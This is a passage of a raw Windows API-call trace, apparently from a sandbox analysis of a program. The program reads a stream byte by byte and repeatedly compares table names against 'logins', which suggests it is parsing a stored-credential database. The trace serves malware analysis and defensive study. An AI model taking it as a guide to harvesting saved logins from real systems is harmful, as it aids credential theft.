pcbRead=0x12f940 | out: pv=0x12f973*=0x7, pcbRead=0x12f940*=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.473] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.473] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x15, pcbRead=0x12f940*=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.474] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x15, pcbRead=0x12f940*=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.474] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.474] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x81, pcbRead=0x12f940*=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.474] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x2f, pcbRead=0x12f940*=0x1) returned 0x0 [0079.474] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.475] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x74, pcbRead=0x12f950*=0x5) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.475] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f950*=0x4) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.475] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f950*=0x4) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.475] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x2, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.475] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.476] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x65b5e8, cb=0x51, pcbRead=0x12f950 | out: pv=0x65b5e8*=0x43, pcbRead=0x12f950*=0x51) returned 0x0 [0079.476] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.476] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0079.476] LocalFree (hMem=0x664350) returned 0x0 [0079.476] LocalFree (hMem=0x665780) returned 0x0 [0079.476] LocalFree (hMem=0x6643e8) returned 0x0 [0079.476] LocalFree (hMem=0x664480) returned 0x0 [0079.476] LocalFree (hMem=0x650450) returned 0x0 [0079.476] LocalFree (hMem=0x670d78) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7cf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7cf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.476] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x27, pcbRead=0x12f980*=0x1) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7d0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.476] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x2, pcbRead=0x12f980*=0x1) returned 0x0 [0079.476] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.476] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.476] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7d1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.477] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x27, pcbRead=0x12f990 | out: pv=0x655310*=0x6, pcbRead=0x12f990*=0x27) returned 0x0 [0079.477] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x27, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x27) returned 0x0 [0079.477] LocalFree (hMem=0x655310) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.477] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6, pcbRead=0x12f940*=0x1) returned 0x0 [0079.477] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.477] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.477] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x3b, pcbRead=0x12f940*=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.477] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.478] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x15, pcbRead=0x12f940*=0x1) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.478] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.478] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x0, pcbRead=0x12f940*=0x1) returned 0x0 [0079.478] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.478] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.478] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.478] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x69, pcbRead=0x12f950*=0x5) returned 0x0 [0079.478] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664480 [0079.478] LocalFree (hMem=0x6687b0) returned 0x0 [0079.478] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.479] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x17, pcbRead=0x12f950 | out: pv=0x670c38*=0x73, pcbRead=0x12f950*=0x17) returned 0x0 [0079.479] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.479] LocalFree (hMem=0x670c38) returned 0x0 [0079.479] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x6687b0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.479] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f950*=0x4) returned 0x0 [0079.479] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.479] LocalFree (hMem=0x6687b0) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.479] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.479] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x3, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.479] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.479] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.479] LocalFree (hMem=0x670d78) returned 0x0 [0079.479] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.479] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0079.479] LocalFree (hMem=0x664480) returned 0x0 [0079.479] LocalFree (hMem=0x652cb0) returned 0x0 [0079.479] LocalFree (hMem=0x6643e8) returned 0x0 [0079.479] LocalFree (hMem=0x665780) returned 0x0 [0079.479] LocalFree (hMem=0x6687b0) returned 0x0 [0079.479] LocalFree (hMem=0x670cd8) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x48c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x48c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.480] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x85, pcbRead=0x12f980*=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x48d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.480] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x2b, pcbRead=0x12f980*=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x48e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.480] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x3, pcbRead=0x12f980*=0x1) returned 0x0 [0079.480] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.480] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.480] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x48f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.480] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x2ab, pcbRead=0x12f990 | out: pv=0x655310*=0x7, pcbRead=0x12f990*=0x2ab) returned 0x0 [0079.481] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x2ab, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x2ab) returned 0x0 [0079.481] LocalFree (hMem=0x655310) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.481] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x7, pcbRead=0x12f940*=0x1) returned 0x0 [0079.481] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670cd8 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.481] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.481] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x19, pcbRead=0x12f940*=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.481] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.482] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x19, pcbRead=0x12f940*=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.482] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.482] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x8a, pcbRead=0x12f940*=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.482] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x31, pcbRead=0x12f940*=0x1) returned 0x0 [0079.482] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.482] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.482] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.482] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x74, pcbRead=0x12f950*=0x5) returned 0x0 [0079.482] LocalAlloc 